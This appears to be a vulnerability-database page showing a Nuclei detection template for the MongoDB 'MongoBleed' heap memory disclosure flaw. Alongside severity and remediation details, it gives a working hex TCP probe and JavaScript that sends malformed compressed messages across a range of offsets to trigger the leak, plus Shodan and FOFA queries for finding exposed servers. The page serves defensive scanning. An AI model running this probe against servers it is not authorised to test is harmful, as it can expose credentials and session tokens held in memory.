MongoDB Server - Information Disclosure (MongoBleed)
CVE-2025-14847
Verified
Description
MongoDB Server contained a flaw in the zlib decompression logic where mismatched length fields in compressed protocol headers allowed a read of uninitialized heap memory by an unauthenticated client.
Severity
High
CVSS Score
7.5
Exploit Probability
75%
Affected Product
mongodb
Published Date
December 27, 2025
Template Author
pussycat0x, joe-desimone, dhiyaneshdk
CVE-2025-14847.yaml
id: CVE-2025-14847
info:
name: MongoDB Server - Information Disclosure (MongoBleed)
author: pussycat0x,joe-desimone,DhiyaneshDK
severity: high
description: |
MongoDB Server contained a flaw in the zlib decompression logic where
mismatched length fields in compressed protocol headers allowed a read
of uninitialized heap memory by an unauthenticated client.
impact: |
Unauthenticated clients can read uninitialized heap memory, potentially
exposing credentials, session tokens, API keys, and other sensitive data.
remediation: |
Update to versions 8.2.3, 8.0.17, 7.0.28, 6.0.27, 5.0.32, or 4.4.30.
Alternatively, disable zlib compression using snappy,zstd or disabled.
reference:
- https://jira.mongodb.org/browse/SERVER-115508
- https://github.com/joe-desimone/mongobleed
- https://www.wiz.io/blog/mongobleed-cve-2025-14847-exploited-in-the-wild-mongodb
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2025-14847
epss-score: 0.74627
epss-percentile: 0.98843
cwe-id: CWE-908
metadata:
verified: true
max-request: 2
vendor: mongodb
product: mongodb
shodan-query: product:"MongoDB"
fofa-query: protocol="mongodb"
tags: cve,cve2025,mongodb,memory-leak,network,js,mongobleed,kev,vkev
flow: tcp(1) && javascript(1)
tcp:
- inputs:
- data: 3b0000003c300000ffffffffd40700000000000061646d696e2e24636d640000000000ffffffff14000000106275696c64696e666f000100000000
type: hex
host:
- "{{Hostname}}"
port: 27017
read-size: 2048
matchers-condition: and
matchers:
- type: word
part: raw
words:
- "version"
- "maxBsonObjectSize"
condition: and
- type: dsl
dsl:
- "compare_versions(version, '>= 8.2.0') && compare_versions(version, '<= 8.2.2')"
- "compare_versions(version, '>= 8.0.0') && compare_versions(version, '<= 8.0.16')"
- "compare_versions(version, '>= 7.0.0') && compare_versions(version, '<= 7.0.27')"
- "compare_versions(version, '>= 6.0.0') && compare_versions(version, '<= 6.0.26')"
- "compare_versions(version, '>= 5.0.0') && compare_versions(version, '<= 5.0.31')"
- "compare_versions(version, '>= 4.4.0') && compare_versions(version, '<= 4.4.29')"
- "compare_versions(version, '>= 4.2.0') && compare_versions(version, '<= 4.2.25')"
- "compare_versions(version, '>= 4.0.0') && compare_versions(version, '<= 4.0.28')"
- "compare_versions(version, '>= 3.6.0') && compare_versions(version, '<= 3.6.23')"
condition: or
extractors:
- type: regex
name: version
part: raw
group: 1
regex:
- '(?s)version.{0,50}?([0-9]+\.[0-9]+\.[0-9]+)'
javascript:
- pre-condition: |
isPortOpen(Host,Port);
code: |
const net = require('nuclei/net');
function uint32ToHexLE(value) {
const bytes = [
(value & 0xFF).toString(16).padStart(2, '0'),
((value >> 8) & 0xFF).toString(16).padStart(2, '0'),
((value >> 16) & 0xFF).toString(16).padStart(2, '0'),
((value >> 24) & 0xFF).toString(16).padStart(2, '0')
];
return bytes.join('');
}
function int32ToHexLE(value) {
const unsigned = value >>> 0;
return uint32ToHexLE(unsigned);
}
const staticCompressed = "789c6360000211201648646004520003a60087";
function stringToBytes(str) {
const bytes = [];
for (let i = 0; i < str.length; i++) {
bytes.push(str.charCodeAt(i));
}
return bytes;
}
function findBytePattern(bytes, pattern) {
if (pattern.length === 0 || bytes.length < pattern.length) {
return -1;
}
for (let i = 0; i <= bytes.length - pattern.length; i++) {
let match = true;
for (let j = 0; j < pattern.length; j++) {
if (bytes[i + j] !== pattern[j]) {
match = false;
break;
}
}
if (match) {
return i;
}
}
return -1;
}
function isMongoDBResponse(responseBytes) {
if (!responseBytes || responseBytes.length < 16) return false;
const opcode = responseBytes[12] | (responseBytes[13] << 8) | (responseBytes[14] << 16) | (responseBytes[15] << 24);
return (opcode === 1 || opcode === 2012 || opcode === 2013);
}
function extractLeaks(responseBytes) {
if (!responseBytes || responseBytes.length < 16) {
return [];
}
if (!isMongoDBResponse(responseBytes)) {
return [];
}
const leaks = [];
let raw = [];
const msgLen = responseBytes[0] | (responseBytes[1] << 8) | (responseBytes[2] << 16) | (responseBytes[3] << 24);
const opcode = responseBytes[12] | (responseBytes[13] << 8) | (responseBytes[14] << 16) | (responseBytes[15] << 24);
if (msgLen < 16 || msgLen > 100000) {
return [];
}
if (opcode === 0) {
raw = responseBytes.slice(16, Math.min(msgLen, responseBytes.length));
} else if (opcode === 2012) {
raw = responseBytes.slice(25, Math.min(msgLen, responseBytes.length));
} else {
raw = responseBytes.slice(16, Math.min(msgLen, responseBytes.length));
}
if (raw.length === 0) {
return leaks;
}
const fieldNamePattern = stringToBytes("field name '");
let searchPos = 0;
while (true) {
const pos = findBytePattern(raw.slice(searchPos), fieldNamePattern);
if (pos === -1) break;
const actualPos = searchPos + pos + fieldNamePattern.length;
let fieldName = "";
for (let i = actualPos; i < raw.length && i < actualPos + 200; i++) {
if (raw[i] === 39) break;
if (raw[i] >= 32 && raw[i] < 127) {
fieldName += String.fromCharCode(raw[i]);
} else {
break;
}
}
if (fieldName && fieldName !== '?' && fieldName !== 'a' && fieldName !== '$db' && fieldName !== 'ping') {
leaks.push(fieldName);
}
searchPos = actualPos + 1;
if (searchPos >= raw.length) break;
}
const invalidBSONPattern = stringToBytes("InvalidBSON");
const bsonLengthPattern = stringToBytes("bson length");
const hasInvalidBSON = findBytePattern(raw, invalidBSONPattern) !== -1;
const hasBsonLength = findBytePattern(raw, bsonLengthPattern) !== -1;
if (hasInvalidBSON || hasBsonLength) {
if (raw.length > 50) {
leaks.push("bson_error_with_leaked_memory");
}
}
return leaks;
}
const minOffset = parseInt(MinOffset) || 20;
const maxOffset = parseInt(MaxOffset) || 8192;
const allOutput = [];
for (let docLen = minOffset; docLen < maxOffset; docLen++) {
const bufferSize = docLen + 500;
let payloadHex = uint32ToHexLE(2013);
payloadHex += int32ToHexLE(bufferSize);
payloadHex += "02";
payloadHex += staticCompressed;
const payloadBytes = payloadHex.length / 2;
const messageLength = 16 + payloadBytes;
let headerHex = uint32ToHexLE(messageLength);
headerHex += uint32ToHexLE(1);
headerHex += uint32ToHexLE(0);
headerHex += uint32ToHexLE(2012);
const fullMessage = headerHex + payloadHex;
try {
const conn = net.Open('tcp', `${Host}:${Port}`);
if (!conn) continue;
conn.SetTimeout(10);
conn.SendHex(fullMessage);
let responseBytes = [];
while (true) {
const chunk = conn.Recv(2048);
if (!chunk || (Array.isArray(chunk) && chunk.length === 0) || (typeof chunk === 'string' && chunk.length === 0)) {
break;
}
const chunkBytes = [];
if (Array.isArray(chunk)) {
for (let i = 0; i < chunk.length; i++) {
const byte = typeof chunk[i] === 'number' ? chunk[i] : parseInt(chunk[i]);
if (!isNaN(byte)) chunkBytes.push(byte);
}
} else if (typeof chunk === 'string') {
for (let i = 0; i < chunk.length; i++) {
chunkBytes.push(chunk.charCodeAt(i));
}
}
if (chunkBytes.length > 0) {
responseBytes = responseBytes.concat(chunkBytes);
}
if (responseBytes.length < 4) continue;
const msgLen = responseBytes[0] | (responseBytes[1] << 8) | (responseBytes[2] << 16) | (responseBytes[3] << 24);
if (responseBytes.length >= msgLen) break;
}
conn.Close();
if (responseBytes.length > 0) {
const leaks = extractLeaks(responseBytes);
let hasLeaks = false;
for (let i = 0; i < leaks.length; i++) {
if (leaks[i] && leaks[i].length > 0) {
hasLeaks = true;
break;
}
}
if (hasLeaks) {
allOutput.push(`leak found at offset ${docLen}`);
break;
}
}
} catch (e) {
}
}
if (allOutput.length > 0) {
allOutput.join('\n')
} else {
""
}
args:
Host: "{{Host}}"
Port: 27017
MinOffset: 20
MaxOffset: 8192
extractors:
- type: dsl
dsl:
- response
# digest: 4a0a00473045022038970f64f7499213ccbf1b0973ec7b3d23c7b70cc282ca091b9920bbe8fb74e7022100b6c69fded2d7def908647671afadf89e3b52d7243f39d94bc8144a0825926308:922c64590222798bb761d5b6d8e729507.5Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVE ID:
cve-2025-14847
CWE ID:
cwe-908
Remediation Steps
Update to versions 8.2.3, 8.0.17, 7.0.28, 6.0.27, 5.0.32, or 4.4.30.
Alternatively, disable zlib compression using snappy,zstd or disabled.